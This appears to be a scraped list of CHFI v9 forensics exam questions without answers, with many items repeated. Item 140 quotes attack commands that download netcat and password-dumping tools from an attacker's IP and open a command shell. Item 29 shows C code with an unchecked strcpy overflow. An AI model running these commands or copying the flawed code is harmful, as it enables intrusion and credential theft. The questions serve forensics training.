EC-Council 312-49v9 ECCouncil Computer Hacking Forensic Investigator (V9) Online Training

1. What does mactime, an essential part of the coroner's toolkit do?

2. Michael works for Kimball Construction Company as senior security analyst. As part of yearly security audit, Michael scans his network for vulnerabilities.

Using Nmap, Michael conducts XMAS scan and most of the ports scanned do not give a response. In what state are these ports?

3. Windows identifies which application to open a file with by examining which of the following?

4. When conducting computer forensic analysis, you must guard against ______________ So that you remain focused on the primary job and insure that the level of work does not increase beyond what was originally expected.

5. After undergoing an external IT audit, George realizes his network is vulnerable to DDoS attacks.

What countermeasures could he take to prevent DDoS attacks?

6. Which of the following is NOT a graphics file?

7. The objective of this act was to protect consumers’ personal financial information held by financial institutions and their service providers.

8. The use of warning banners helps a company avoid litigation by overcoming an employee assumed __________________________. When connecting to the company's intranet, network or Virtual Private Network (VPN) and will allow the company's investigators to monitor, search and retrieve information stored within the network.

9. You have completed a forensic investigation case. You would like to destroy the data contained in various disks at the forensics lab due to sensitivity of the case .

How would you permanently erase the data on the hard disk?

10. Hackers can gain access to Windows Registry and manipulate user passwords, DNS settings, access rights or others features that they may need in order to accomplish their objectives.

One simple method for loading an application at startup is to add an entry (Key) to the following Registry Hive:

11. What method of computer forensics will allow you to trace all ever-established user accounts on a Windows 2000 sever the course of its lifetime?

12. What is a good security method to prevent unauthorized users from "tailgating"?

13. When examining the log files from a Windows IIS Web Server, how often is a new log file created?

14. You are working as Computer Forensics investigator and are called by the owner of an accounting firm to investigate possible computer abuse by one of the firm’s employees. You meet with the owner of the firm and discover that the company has never published a policy stating that they reserve the right to inspect their computing assets at will .

What do you do?

15. What will the following command accomplish?

16. As a CHFI professional, which of the following is the most important to your professional reputation?

17. You are assisting in the investigation of a possible Web Server Hack. The company who called you stated that customers reported to them that whenever they entered the web address of the company in their browser, what they received was a porno graphic web site.

The company checked the web server and nothing appears wrong. When you type in the IP address of the web site in your browser everything appears normal .

What is the name of the attack that affects the DNS cache of the name resolution servers, resulting in those servers directing users to the wrong web site?

18. To preserve digital evidence, an investigator should ____________________.

19. In Linux, what is the smallest possible shellcode?

20. During the course of an investigation, you locate evidence that may prove the innocence of the suspect of the investigation. You must maintain an unbiased opinion and be objective in your entire fact finding process. Therefore, you report this evidence.

This type of evidence is known as:

21. An Employee is suspected of stealing proprietary information belonging to your company that he had no rights to possess. The information was stored on the Employees Computer that was protected with the NTFS Encrypted File System (EFS) and you had observed him copy the files to a floppy disk just before leaving work for the weekend. You detain the Employee before he leaves the building and recover the floppy disks and secure his computer. Will you be able to break the encryption so that you can verify that that the employee was in possession of the proprietary information?

22. Which federal computer crime law specifically refers to fraud and related activity in connection with access devices like routers?

23. Area density refers to:

24. George is the network administrator of a large Internet company on the west coast. Per corporate policy, none of the employees in the company are allowed to use FTP or SFTP programs without obtaining approval from the IT department. Few managers are using SFTP program on their computers. Before talking to his boss, George wants to have some proof of their activity. George wants to use Ethereal to monitor network traffic, but only SFTP traffic to and from his network.

What filter should George use in Ethereal?

25. You have compromised a lower-level administrator account on an Active Directory network of a small company in Dallas, Texas. You discover Domain Controllers through enumeration. You connect to one of the Domain Controllers on port 389 using ldp.exe .

What are you trying to accomplish here?

26. You should make at least how many bit-stream copies of a suspect drive?

27. What information do you need to recover when searching a victim’s computer for a crime committed with specific e-mail message?

28. You work as an IT security auditor hired by a law firm in Boston to test whether you can gain access to sensitive information about the company clients. You have rummaged through their trash and found very little information. You do not want to set off any alarms on their network, so you plan on performing passive foot printing against their Web servers .

What tool should you use?

29. Kyle is performing the final testing of an application he developed for the accounting department.

His last round of testing is to ensure that the program is as secure as possible. Kyle runs the following command .

What is he testing at this point?

#include #include int main(int argc, char

*argv[]) { char buffer[10]; if (argc < 2) { fprintf (stderr, "USAGE: %s stringn", argv[0]); return 1; }

strcpy(buffer, argv[1]); return 0; }

30. While working for a prosecutor, what do you think you should do if the evidence you found appears to be exculpatory and is not being released to the defense?

31. What does ICMP Type 3/Code 13 mean?

32. Why are Linux/Unix based computers better to use than Windows computers for idle scanning?

33. James is testing the ability of his routers to withstand DoS attacks. James sends ICMP ECHO requests to the broadcast address of his network .

What type of DoS attack is James testing against his network?

34. With the standard Linux second extended file system (Ext2fs), a file is deleted when the inode internal link count reaches ________.

35. You are running known exploits against your network to test for possible vulnerabilities. To test the strength of your virus software, you load a test network to mimic your production network. Your software successfully blocks some simple macro and encrypted viruses. You decide to really test the software by using virus code where the code rewrites itself entirely and the signatures change from child to child, but the functionality stays the same .

What type of virus is this that you are testing?

36. If an attacker's computer sends an IPID of 31400 to a zombie computer on an open port in IDLE scanning, what will be the response?

37. Jason has set up a honeypot environment by creating a DMZ that has no physical or logical access to his production network. In this honeypot, he has placed a server running Windows Active Directory. He has also placed a Web server in the DMZ that services a number of web pages that offer visitors a chance to download sensitive information by clicking on a button. A week later, Jason finds in his network logs how an intruder accessed the honeypot and downloaded sensitive information. Jason uses the logs to try and prosecute the intruder for stealing sensitive corporate information .

Why will this not be viable?

38. What is kept in the following directory? HKLMSECURITYPolicySecrets

39. You have been asked to investigate after a user has reported a threatening e-mail they have received from an external source .

Which of the following are you most interested in when trying to trace the source of the message?

40. You setup SNMP in multiple offices of your company. Your SNMP software manager is not receiving data from other offices like it is for your main office. You suspect that firewall changes are to blame .

What ports should you open for SNMP to work through Firewalls? (Choose two.)

41. What is the target host IP in the following command?

42. What does the acronym POST mean as it relates to a PC?

43. You work as a penetration tester for Hammond Security Consultants. You are currently working on a contract for the state government of California. Your next step is to initiate a DoS attack on their network .

Why would you want to initiate a DoS attack on a system you are testing?

44. Meyer Electronics Systems just recently had a number of laptops stolen out of their office. On these laptops contained sensitive corporate information regarding patents and company strategies. A month after the laptops were stolen, a competing company was found to have just developed products that almost exactly duplicated products that Meyer produces .

What could have prevented this information from being stolen from the laptops?

45. What TCP/UDP port does the toolkit program netstat use?

46. The MD5 program is used to:

47. Harold wants to set up a firewall on his network but is not sure which one would be the most appropriate. He knows he needs to allow FTP traffic to one of the servers on his network, but he wants to only allow FTP-PUT .

Which firewall would be most appropriate for Harold? needs?

48. Kimberly is studying to be an IT security analyst at a vocational school in her town. The school offers many different programming as well as networking languages .

What networking protocol language should she learn that routers utilize?

49. Julia is a senior security analyst for Berber Consulting group. She is currently working on a contract for a small accounting firm in Florid a. They have given her permission to perform social engineering attacks on the company to see if their in-house training did any good.

Julia calls the main number for the accounting firm and talks to the receptionist. Julia says that she is an IT technician from the company's main office in Iowa. She states that she needs the receptionist's network username and password to troubleshoot a problem they are having. Julia says that Bill Hammond, the CEO of the company, requested this information. After hearing the name of the CEO, the receptionist gave Julia all the information she asked for .

What principal of social engineering did Julia use?

50. An "idle" system is also referred to as what?

51. As a security analyst, you setup a false survey website that will require users to create a username and a strong password. You send the link to all the employees of the company .

What information will you be able to gather?

52. E-mail logs contain which of the following information to help you in your investigation? (Choose four.)

53. A(n) _____________________ is one that's performed by a computer program rather than the attacker manually performing the steps in the attack sequence.

54. You are a computer forensics investigator working with local police department and you are called to assist in an investigation of threatening emails. The complainant has printer out 27 email messages from the suspect and gives the printouts to you. You inform her that you will need to examine her computer because you need access to the _________________________ in order to track the emails back to the suspect.

55. When using Windows acquisitions tools to acquire digital evidence, it is important to use a well-tested hardware write-blocking device to:

56. You are assigned to work in the computer forensics lab of a state police agency. While working on a high profile criminal case, you have followed every applicable procedure, however your boss is still concerned that the defense attorney might question whether evidence has been changed while at the lab .

What can you do to prove that the evidence is the same as it was when it first entered the lab?

57. Chris has been called upon to investigate a hacking incident reported by one of his clients. The company suspects the involvement of an insider accomplice in the attack. Upon reaching the incident scene, Chris secures the physical area, records the scene using visual media. He shuts the system down by pulling the power plug so that he does not disturb the system in any way. He labels all cables and connectors prior to disconnecting any .

What do you think would be the next sequence of events?

58. You are assisting a Department of Defense contract company to become compliant with the stringent security policies set by the DoD. One such strict rule is that firewalls must only allow incoming connections that were first initiated by internal computers .

What type of firewall must you implement to abide by this policy?

59. You are working as an investigator for a corporation and you have just received instructions from your manager to assist in the collection of 15 hard drives that are part of an ongoing investigation.

Your job is to complete the required evidence custody forms to properly document each piece of evidence as it is collected by other members of your team. Your manager instructs you to complete one multi-evidence form for the entire case and a single-evidence form for each hard drive .

How will these forms be stored to help preserve the chain of custody of the case?

60. Which response organization tracks hoaxes as well as viruses?

61. It takes _____________ mismanaged case/s to ruin your professional reputation as a computer forensics examiner?

62. In a forensic examination of hard drives for digital evidence, what type of user is most likely to have the most file slack to analyze?

63. What type of attack occurs when an attacker can force a router to stop forwarding packets by flooding the router with many open connections simultaneously so that all the hosts behind the router are effectively disabled?

64. Jonathan is a network administrator who is currently testing the internal security of his network. He is attempting to hijack a session, using Ettercap, of a user connected to his Web server .

Why will Jonathan not succeed?

65. How many sectors will a 125 KB file use in a FAT32 file system?

66. You are running through a series of tests on your network to check for any security vulnerabilities.

After normal working hours, you initiate a DoS attack against your external firewall. The firewall Quickly freezes up and becomes unusable. You then initiate an FTP connection from an external IP into your internal network.

The connection is successful even though you have FTP blocked at the external firewall .

What has happened?

67. How many bits is Source Port Number in TCP Header packet?

68. You are employed directly by an attorney to help investigate an alleged sexual harassment case at a large pharmaceutical manufacture. While at the corporate office of the company, the CEO demands to know the status of the investigation .

What prevents you from discussing the case with the CEO?

69. What binary coding is used most often for e-mail purposes?

70. Printing under a Windows Computer normally requires which one of the following files types to be created?

71. Profiling is a forensics technique for analyzing evidence with the goal of identifying the perpetrator from their various activity.

After a computer has been compromised by a hacker, which of the following would be most important in forming a profile of the incident?

72. ____________________ is simply the application of Computer Investigation and analysis techniques in the interests of determining potential legal evidence.

73. John is using Firewalk to test the security of his Cisco PIX firewall. He is also utilizing a sniffer located on a subnet that resides deep inside his network. After analyzing the sniffer log files, he does not see any of the traffic produced by Firewalk .

Why is that?

74. You are working for a local police department that services a population of 1,000,000 people and you have been given the task of building a computer forensics lab .

How many law-enforcement computer investigators should you request to staff the lab?

75. Frank is working on a vulnerability assessment for a company on the West coast. The company hired Frank to assess its network security through scanning, pen tests, and vulnerability assessments. After discovering numerous known vulnerabilities detected by a temporary IDS he set up, he notices a number of items that show up as unknown but Questionable in the logs. He looks up the behavior on the Internet, but cannot find anything related .

What organization should Frank submit the log to find out if it is a new vulnerability or not?

76. When reviewing web logs, you see an entry for resource not found in the HTTP status code filed.

What is the actual error code that you would see in the log for resource not found?

77. Which of the following refers to the data that might still exist in a cluster even though the original file has been overwritten by another file?

78. After passing her CEH exam, Carol wants to ensure that her network is completely secure. She implements a DMZ, stateful firewall, NAT, IPSEC, and a packet filtering firewall. Since all security measures were taken, none of the hosts on her network can reach the Internet .

Why is that?

79. You just passed your ECSA exam and are about to start your first consulting job running security audits for a financial institution in Los Angeles. The IT manager of the company you will be working for tries to see if you remember your ECSA class. He asks about the methodology you will be using to test the company's network .

How would you answer?

80. To make sure the evidence you recover and analyze with computer forensics software can be admitted in court, you must test and validate the software .

What group is actively providing tools and creating procedures for testing and validating computer forensics software?

81. Harold is a security analyst who has just run the rdisk /s command to grab the backup SAM files on a computer.

Where should Harold navigate on the computer to find the file?

82. Bob has been trying to penetrate a remote production system for the past two weeks. This time however, he is able to get into the system. He was able to use the System for a period of three weeks. However, law enforcement agencies were recoding his every activity and this was later presented as evidence.

The organization had used a Virtual Environment to trap Bob .

What is a Virtual Environment?

83. In the context of file deletion process, which of the following statement holds true?

84. You are a security analyst performing a penetration tests for a company in the Midwest. After some initial reconnaissance, you discover the IP addresses of some Cisco routers used by the company.

You type in the following URL that includes the IP address of one of the routers:

http://172.168.4.131/level/99/exec/show/config

After typing in this URL, you are presented with the entire configuration file for that router .

What have you discovered?

85. Your company uses Cisco routers exclusively throughout the network. After securing the routers to the best of your knowledge, an outside security firm is brought in to assess the network security.

Although they found very few issues, they were able to enumerate the model, OS version, and capabilities for all your Cisco routers with very little effort .

Which feature will you disable to eliminate the ability to enumerate this information on your Cisco routers?

86. What header field in the TCP/IP protocol stack involves the hacker exploit known as the Ping of Death?

87. What operating system would respond to the following command?

88. From the following spam mail header, identify the host IP that sent this spam?

From [email protected] [email protected] Tue Nov 27 17:27:11 2001

Received: from viruswall.ie.cuhk.edu.hk (viruswall [137.189.96.52]) by eng.ie.cuhk.edu.hk

(8.11.6/8.11.6) with ESMTP id

fAR9RAP23061 for ; Tue, 27 Nov 2001 17:27:10 +0800 (HKT)

Received: from mydomain.com (pcd249020.netvigator.com [203.218.39.20]) by

viruswall.ie.cuhk.edu.hk (8.12.1/8.12.1)

with SMTP id fAR9QXwZ018431 for ; Tue, 27 Nov 2001 17:26:36 +0800 (HKT)

Message-Id: >[email protected]

From: "china hotel web"

To: "Shlam"

Subject: SHANGHAI (HILTON HOTEL) PACKAGE

Date: Tue, 27 Nov 2001 17:25:58 +0800 MIME-Version: 1.0

X-Priority: 3 X-MSMail-

Priority: Normal

Reply-To: "china hotel web"

89. In a FAT32 system, a 123 KB file will use how many sectors?

90. If a suspect computer is located in an area that may have toxic chemicals, you must:

91. One way to identify the presence of hidden partitions on a suspect's hard drive is to:

92. In what way do the procedures for dealing with evidence in a criminal case differ from the procedures for dealing with evidence in a civil case?

93. After passively scanning the network of Department of Defense (DoD), you switch over to active scanning to identify live hosts on their network. DoD is a large organization and should respond to any number of scans. You start an ICMP ping sweep by sending an IP packet to the broadcast address. Only five hosts respond to your ICMP pings; definitely not the number of hosts you were expecting .

Why did this ping sweep only produce a few responses?

94. In conducting a computer abuse investigation you become aware that the suspect of the investigation is using ABC Company as his Internet Service Provider (ISP). You contact ISP and request that they provide you assistance with your investigation .

What assistance can the ISP provide?

95. Diskcopy is:

96. You are trying to locate Microsoft Outlook Web Access Default Portal using Google search on the Internet .

What search string will you use to locate them?

97. Larry is an IT consultant who works for corporations and government agencies. Larry plans on shutting down the city's network using BGP devices and zombies?

What type of Penetration Testing is Larry planning to carry out?

98. If you discover a criminal act while investigating a corporate policy abuse, it becomes a publicsector investigation and should be referred to law enforcement?

99. George is performing security analysis for Hammond and Sons LLC. He is testing security vulnerabilities of their wireless network. He plans on remaining as "stealthy" as possible during the scan .

Why would a scanner like Nessus is not recommended in this situation?

100. You are called by an author who is writing a book and he wants to know how long the copyright for his book will last after he has the book published?

101. When an investigator contacts by telephone the domain administrator or controller listed by a Who is lookup to request all e-mails sent and received for a user account be preserved, what U.S.C. statute authorizes this phone call and obligates the ISP to preserve e-mail records?

102. Item 2If you come across a sheepdip machine at your client site, what would you infer?

103. In a computer forensics investigation, what describes the route that evidence takes from the time you find it until the case is closed or goes to court?

104. How many characters long is the fixed-length MD5 algorithm checksum of a critical system file?

105. You are working on a thesis for your doctorate degree in Computer Science. Your thesis is based on HTML, DHTML, and other web-based languages and how they have evolved over the years.

You navigate to archive. org and view the HTML code of news.com. You then navigate to the current news.com website and copy over the source code.

While searching through the code, you come across something abnormal: What have you found?

106. You are using DriveSpy, a forensic tool and want to copy 150 sectors where the starting sector is 1709 on the primary hard drive.

Which of the following formats correctly specifies these sectors?

107. A honey pot deployed with the IP 172.16.1.108 was compromised by an attacker. Given below is an excerpt from a Snort binary capture of the attack. Decipher the activity carried out by the attacker by studying the log. Please note that you are required to infer only what is explicit in the excerpt.

(Note: The student is being tested on concepts learnt during passive OS fingerprinting, basic TCP/IP connection concepts and the ability to read packet signatures from a sniff dump.)

03/15-20:21:24.107053 211.185.125.124:3500 -> 172.16.1.108:111

TCP TTL:43 TOS:0x0 ID:29726 IpLen:20 DgmLen:52 DF

***A**** Seq: 0x9B6338C5 Ack: 0x5820ADD0 Win: 0x7D78 TcpLen: 32

TCP Options (3) => NOP NOP TS: 23678634 2878772

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

03/15-20:21:24.452051 211.185.125.124:789 -> 172.16.1.103:111

UDP TTL:43 TOS:0x0 ID:29733 IpLen:20 DgmLen:84

Len: 64

01 0A 8A 0A 00 00 00 00 00 00 00 02 00 01 86 A0 ................

00 00 00 02 00 00 00 03 00 00 00 00 00 00 00 00 ................

00 00 00 00 00 00 00 00 00 01 86 B8 00 00 00 01 ................

00 00 00 11 00 00 00 00 ........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

03/15-20:21:24.730436 211.185.125.124:790 -> 172.16.1.103:32773

UDP TTL:43 TOS:0x0 ID:29781 IpLen:20 DgmLen:1104

Len: 1084

47 F7 9F 63 00 00 00 00 00 00 00 02 00 01 86 B8

108. The newer Macintosh Operating System is based on:

109. Before you are called to testify as an expert, what must an attorney do first?

110. You are contracted to work as a computer forensics investigator for a regional bank that has four 30 TB storage area networks that store customer data.

What method would be most efficient for you to acquire digital evidence from this network?

111. You are working for a large clothing manufacturer as a computer forensics investigator and are called in to investigate an unusual case of an employee possibly stealing clothing designs from the company and selling them under a different brand name for a different company.

What you discover during the course of the investigation is that the clothing designs are actually original products of the employee and the company has no policy against an employee selling his own designs on his own time. The only thing that you can find that the employee is doing wrong is that his clothing design incorporates the same graphic symbol as that of the company with only the wording in the graphic being different.

What area of the law is the employee violating?

112. What file structure database would you expect to find on floppy disks?

113. What type of attack occurs when an attacker can force a router to stop forwarding packets by flooding the router with many open connections simultaneously so that all the hosts behind the router are effectively disabled?

114. When examining a file with a Hex Editor, what space does the file header occupy?

115. In the context of file deletion process, which of the following statement holds true?

116. A suspect is accused of violating the acceptable use of computing resources, as he has visited adult websites and downloaded images. The investigator wants to demonstrate that the suspect did indeed visit these sites. However, the suspect has cleared the search history and emptied the cookie cache. Moreover, he has removed any images he might have downloaded.

What can the investigator do to prove the violation?

117. A(n) _____________________ is one that's performed by a computer program rather than the attacker manually performing the steps in the attack sequence.

118. The offset in a hexadecimal code is:

119. It takes _____________ mismanaged case/s to ruin your professional reputation as a computer

forensics examiner?

120. With the standard Linux second extended file system (Ext2fs), a file is deleted when the inode internal link count reaches ________.

121. When examining the log files from a Windows IIS Web Server, how often is a new log file created?

122. Which part of the Windows Registry contains the user's password file?

123. An employee is attempting to wipe out data stored on a couple of compact discs (CDs) and digital video discs (DVDs) by using a large magnet. You inform him that this method will not be effective in wiping out the data because CDs and DVDs are ______________ media used to store large amounts of data and are not affected by the magnet.

124. Lance wants to place a honeypot on his network.

Which of the following would be your recommendations?

125. What does the acronym POST mean as it relates to a PC?

126. Which legal document allows law enforcement to search an office, place of business, or other locale for evidence relating to an alleged crime?

127. You are working as an investigator for a corporation and you have just received instructions from your manager to assist in the collection of 15 hard drives that are part of an ongoing investigation.

Your job is to complete the required evidence custody forms to properly document each piece of evidence as it is collected by other members of your team. Your manager instructs you to complete one multi-evidence form for the entire case and a single-evidence form for each hard drive.

How will these forms be stored to help preserve the chain of custody of the case?

128. The MD5 program is used to:

129. Which is a standard procedure to perform during all computer forensics investigations?

130. E-mail logs contain which of the following information to help you in your investigation? (Choose four.)

131. In a forensic examination of hard drives for digital evidence, what type of user is most likely to have the most file slack to analyze?

132. In what way do the procedures for dealing with evidence in a criminal case differ from the procedures for dealing with evidence in a civil case?

133. You are assigned to work in the computer forensics lab of a state police agency. While working on a high profile criminal case, you have followed every applicable procedure, however your boss is still concerned that the defense attorney might question whether evidence has been changed while at the lab.

What can you do to prove that the evidence is the same as it was when it first entered the lab?

134. Study the log given below and answer the following question:

Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169

Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482

Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53

Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21

Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53

Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53

Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53

Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111

Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80

Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53

Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0)

Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506)

Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080

Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558

Precautionary measures to prevent this attack would include writing firewall rules.

Of these firewall rules, which among the following would be appropriate?

135. When monitoring for both intrusion and security events between multiple computers, it is essential that the computers' clocks are synchronized. Synchronized time allows an administrator to reconstruct what took place during an attack against multiple computers. Without synchronized time, it is very difficult to determine exactly when specific events took place, and how events interlace.

What is the name of the service used to synchronize time among multiple computers?

136. When investigating a potential e-mail crime, what is your first step in the investigation?

137. If a suspect computer is located in an area that may have toxic chemicals, you must:

138. The following excerpt is taken from a honeypot log. The log captures activities across three days.

There are several intrusion attempts; however, a few are successful.

(Note: The objective of this question is to test whether the student can read basic information from log entries and interpret the nature of attack.)

Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169

Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482

Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53

Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21

Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53

Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53

Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53

Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111

Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80

Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53

Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0)

Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506)

Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080

Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558

From the options given below choose the one which best interprets the following entry:

Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

139. What happens when a file is deleted by a Microsoft operating system using the FAT file system?

140. The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly.

The attacker makes a RDS query which results in the commands run as shown below.

"cmd1.exe /c open 213.116.251.162 >ftpcom"

"cmd1.exe /c echo johna2k >>ftpcom"

"cmd1.exe /c echo haxedj00 >>ftpcom"

"cmd1.exe /c echo get nc.exe >>ftpcom"

"cmd1.exe /c echo get pdump.exe >>ftpcom"

"cmd1.exe /c echo get samdump.dll >>ftpcom"

"cmd1.exe /c echo quit >>ftpcom"

"cmd1.exe /c ftp -s:ftpcom"

"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"

What can you infer from the exploit given?

141. What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer?

142. During the course of an investigation, you locate evidence that may prove the innocence of the suspect of the investigation. You must maintain an unbiased opinion and be objective in your entire fact finding process. Therefore, you report this evidence.

This type of evidence is known as:

143. If you discover a criminal act while investigating a corporate policy abuse, it becomes a publicsector investigation and should be referred to law enforcement?

144. What binary coding is used most often for e-mail purposes?

145. If you see the files Zer0.tar.gz and copy.tar.gz on a Linux system while doing an investigation, what can you conclude?

146. From the following spam mail header, identify the host IP that sent this spam?

From [email protected] [email protected] Tue Nov 27 17:27:11 2001

Received: from viruswall.ie.cuhk.edu.hk (viruswall [137.189.96.52]) by eng.ie.cuhk.edu.hk

(8.11.6/8.11.6) with ESMTP id

fAR9RAP23061 for ; Tue, 27 Nov 2001 17:27:10 +0800 (HKT)

Received: from mydomain.com (pcd249020.netvigator.com [203.218.39.20]) by

viruswall.ie.cuhk.edu.hk (8.12.1/8.12.1)

with SMTP id fAR9QXwZ018431 for ; Tue, 27 Nov 2001 17:26:36 +0800 (HKT)

Message-Id: >[email protected]

From: "china hotel web"

To: "Shlam"

Subject: SHANGHAI (HILTON HOTEL) PACKAGE

Date: Tue, 27 Nov 2001 17:25:58 +0800 MIME-Version: 1.0

X-Priority: 3 X-MSMail-

Priority: Normal

Reply-To: "china hotel web"

147. If you plan to startup a suspect's computer, you must modify the ___________ to ensure that you do not contaminate or alter data on the suspect's hard drive by booting to the hard drive.

148. You are working for a local police department that services a population of 1,000,000 people and you have been given the task of building a computer forensics lab.

How many law-enforcement computer investigators should you request to staff the lab?

149. When obtaining a warrant, it is important to:

150. What does the superblock in Linux define?

151. Diskcopy is:

152. Sectors in hard disks typically contain how many bytes?

153. Area density refers to:

154. Corporate investigations are typically easier than public investigations because:

155. Which of the following should a computer forensics lab used for investigations have?

156. Jason is the security administrator of ACMA metal Corporation. One day he notices the company's Oracle database server has been compromised and the customer information along with financial data has been stolen. The financial loss will be in millions of dollars if the database gets into the hands of the competitors. Jason wants to report this crime to the law enforcement agencies immediately.

Which organization coordinates computer crimes investigations throughout the United States?

157. Which Intrusion Detection System (IDS) usually produces the most false alarms due to the unpredictable behaviors of users and networks?

158. You should make at least how many bit-stream copies of a suspect drive?

159. Why should you note all cable connections for a computer you want to seize as evidence?

160. What header field in the TCP/IP protocol stack involves the hacker exploit known as the Ping of Death?

161. What method of computer forensics will allow you to trace all ever-established user accounts on a Windows 2000 sever the course of its lifetime?

162. Which response organization tracks hoaxes as well as viruses?

163. Which federal computer crime law specifically refers to fraud and related activity in connection with access devices like routers?

164. Office documents (Word, Excel, PowerPoint) contain a code that allows tracking the MAC, or unique identifier, of the machine that created the document.

What is that code called?

165. What TCP/UDP port does the toolkit program netstat use?

166. Under which Federal Statutes does FBI investigate for computer crimes involving e-mail scams and mail fraud?

167. In a FAT32 system, a 123 KB file will use how many sectors?

168. You have been asked to investigate the possibility of computer fraud in the finance department of a company. It is suspected that a staff member has been committing finance fraud by printing cheques that have not been authorized. You have exhaustively searched all data files on a bitmap image of the target computer, but have found no evidence. You suspect the files may not have been saved.

What should you examine next in this case?

169. When performing a forensics analysis, what device is used to prevent the system from recording data on an evidence disk?

170. How many sectors will a 125 KB file use in a FAT32 file system?

171. You are called by an author who is writing a book and he wants to know how long the copyright for his book will last after he has the book published?

172. When investigating a network that uses DHCP to assign IP addresses, where would you look to determine which system (MAC address) had a specific IP address at a specific time?

173. Bob has been trying to penetrate a remote production system for the past two weeks. This time however, he is able to get into the system. He was able to use the System for a period of three weeks. However, law enforcement agencies were recoding his every activity and this was later

presented as evidence.

The organization had used a Virtual Environment to trap Bob.

What is a Virtual Environment?

174. To make sure the evidence you recover and analyze with computer forensics software can be admitted in court, you must test and validate the software.

What group is actively providing tools and creating procedures for testing and validating computer forensics software?

175. With Regard to using an Antivirus scanner during a computer forensics investigation, You should:

176. Windows identifies which application to open a file with by examining which of the following?

177. You have used a newly released forensic investigation tool, which doesn't meet the Daubert Test, during a case. The case has ended-up in court.

What argument could the defense make to weaken your case?

178. Which of the following is NOT a graphics file?

179. When conducting computer forensic analysis, you must guard against ______________. So that you remain focused on the primary job and insure that the level of work does not increase beyond what was originally expected.

180. In General, __________________ Involves the investigation of data that can be retrieved from the hard disk or other disks of a computer by applying scientific methods to retrieve the data.